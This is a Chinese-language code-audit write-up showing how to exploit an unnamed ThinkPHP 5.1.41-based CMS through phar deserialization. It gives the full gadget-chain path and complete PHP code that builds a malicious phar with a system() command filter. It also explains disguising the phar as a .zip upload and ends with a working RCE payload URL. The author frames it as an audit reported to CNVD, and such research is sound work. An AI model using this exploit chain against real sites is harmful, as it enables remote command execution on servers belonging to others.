由于普通的,基于某个功能点的漏洞,已经是非常常见了,在这里分享一些基于框架漏洞的代码审计,毕竟大家都学了这么多反序列化漏洞与一堆的框架,还是要用于实战当中。
某开源项目最新版的CMS,该漏洞已提交至CNVD
可以看到这里的thinkphp版本为5.1.41。正好该版本存在反序列化漏洞。接下来我们的思路就是找到反序列化的触发点。
如果打过ctf的同学都应该都比较清楚,触发反序列化的点,比较常见的就3种
1,unserialize()函数
2,phar反序列化
3,session反序列化
接下来我们就一个一个分析看看该cms是否存在反序列化入口
我们直接全局搜索unserialize,看看有那些地方调用了该函数
可以看到有很多地方调用了unserialize函数,如果你看到这些函数就开始一头扎进去,开始分析,那基本上就可以说是对MVC毫无了解,在分析之前,你要确定那些是能调用的,那些是不能调用的,因此必须分析路由,去找寻那些页面是可以访问的,我们一般想调用某些函数,都是通过URL或者POST参数进行调用了。因此知道自己能调用那些函数,是非常重要的,也是缩小分析范围的至关重要的一步。本文分析的CMS是由thinkphp搭建,由于在大部分情况下我们都可以访问控制器下的大部分函数,因此可操作的空间就非常的大,但并不是所有框架都像一样自由
结合路由分析,可以发现并没有路由能访问到unserialize函数,可知unserialize这条路走不通
其实session反序列化是真的不常见,可能只会在一些ctf中见到,因为两种session模式相互切换的场景是真的不常见,不过我们还是进行分析一下吧。直接全局搜索session.serialize_handler
不出意外,确实没有
个人认为phar反序列化还是比较容易触发的,因为在很多功能点都会对文件进行判断,而有许多判断函数都可以触发phar反序列化,且并不需要pip.ini有特殊配置。这是在本机生成phar包时,需要开启phar.readonly这个配置。常见的函数如下:
继续我们的分析,一般每个web应用几乎都存在着文件上传功能,几乎都会用到is_file,is_dir,file_exists等函数
接下来外面就来分析源码,老规矩依旧是全局搜索
在这里就不浪费大家时间,找寻触发点直接省略,直接进入利用分析
可以看到这里rmdirr是update控制器里的一个方法,我们可以直接通过url调用该函数,能触发漏洞的原因在于,没写固定前缀,到这里可能有同学会提醒我还有后缀,但在这里可以给大家卖个关子,其实有很大一部分后缀是可以绕过的,这个我们在后面分析。言归正传,之所以要指定前缀就是防止攻击者使用phar协议,进行phar反序列化,到这里我们已经找到了反序列化入口,进行就是如何进行phar文件生成和反序列化漏洞利用
在php中phar文件生成有一窜常用的代码,记住即可,唯一要注意的是,要反序列化的对象,在本文就是反序列化利用链
在此之前,需要在本机开启,注意这只是在生成的时候开启,及在本地生成然后上传到目标服务器(目标服务器不需要开启配置)
phar.readonly = On
//这里就需要反序列化的对象 class Demo{ } $phar=new\Phar("phar.phar");// $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>");// $phar->setMetadata(new Demo());// $phar->addFromString("test.txt","test");// // $phar->stopBuffering();
生成文件内容如下:
\thinkphp\library\think\process\pipes\Windows.php - > __destruct()
\thinkphp\library\think\process\pipes\Windows.php - > removeFiles()
Windows.php: file_exists()
thinkphp\library\think\model\concern\Conversion.php - > __toString()
thinkphp\library\think\model\concern\Conversion.php - > toJson()
thinkphp\library\think\model\concern\Conversion.php - > toArray()
thinkphp\library\think\Request.php - > __call()
thinkphp\library\think\Request.php - > isAjax()
thinkphp\library\think\Request.php - > param()
thinkphp\library\think\Request.php - > input()
thinkphp\library\think\Request.php - > filterValue()
<?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["ethan"=>["dir","calc"]]; $this->data = ["ethan"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ // 表单请求类型伪装变量 'var_method' => '_method', // 表单ajax伪装变量 'var_ajax' => '_ajax', // 表单pjax伪装变量 'var_pjax' => '_pjax', // PATHINFO变量名 用于兼容模式 'var_pathinfo' => 's', // 兼容PATH_INFO获取 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], // 默认全局过滤方法 用逗号分隔多个 'default_filter' => '', // 域名根,如thinkphp.cn 'url_domain_root' => '', // HTTPS代理标识 'https_agent_name' => '', // IP代理获取标识 'http_agent_ip' => 'HTTP_X_REAL_IP', // URL伪静态后缀 'url_html_suffix' => 'html', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows()));
<?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["ethan"=>["dir","calc"]]; $this->data = ["ethan"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; protected $config = [ // 表单请求类型伪装变量 'var_method' => '_method', // 表单ajax伪装变量 'var_ajax' => '_ajax', // 表单pjax伪装变量 'var_pjax' => '_pjax', // PATHINFO变量名 用于兼容模式 'var_pathinfo' => 's', // 兼容PATH_INFO获取 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], // 默认全局过滤方法 用逗号分隔多个 'default_filter' => '', // 域名根,如thinkphp.cn 'url_domain_root' => '', // HTTPS代理标识 'https_agent_name' => '', // IP代理获取标识 'http_agent_ip' => 'HTTP_X_REAL_IP', // URL伪静态后缀 'url_html_suffix' => 'html', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; $phar=new\Phar("phar.phar");// $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>");// $phar->setMetadata(new Windows());// $phar->addFromString("test.txt","test");// // $phar->stopBuffering(); ?>
大家看到这里一定会想Phar文件,一定是XXX.phar这样的格式,只要后端一限制,那就没法利用了,如果这么想的话,那可能还是会phar协议不了解,直接说结论吧,phar文件可以是任意后缀,可以是jpg,png,zip等等,只要配合phar协议即可触发反序列化
寻找单个功能点比较常见的就两种:
1.直接黑盒测试看应用程序有那些功能
2.白盒测试看路由,代码审计
一般情况还是先黑盒再白盒,因为有的应用路由写的很死,只能访问给定的功能,也就造成你再页面上看到的功能可能就是它大部分的功能了
这里我们直接找上传点,当然里面也有许多坑,笔者会一一去解说
经过黑盒测试发现只能上图片,话不多少说直接将phar文件,改成phar.jpg然后上传
结果发现上传失败,其实有经验的同学都明白,检测图片的方法很多,mime,文件头,还有一堆处理图片的函数,那文件头来说,如果想绕过就必须在phar文件中添加文件头,但这样一添加,就破坏了文件格式,导致反序列化无法触发。因此这个图片上传无法利用
直接分析源码,找寻文件上传功能代码
找到一处,经过分析发现值允许上传zip,txt等文件,既然如此我们就上传一个phar.zip文件
上传成功,回显出了文件地址
我们已经将文件上传到服务器,接下来就是利用phar+thinkphp反序列化进行rce漏洞验证
payload:
http://127.0.0.1//admin.php/update/rmdirr?dirname=phar://public/upload/images/628259c295370.zip&id=whoami
本文以某开源CMS为例,分析在当今普遍使用框架的现在,如何去进行有效的黑白盒子测试与利用框架漏洞进行代码审计的一部分经验。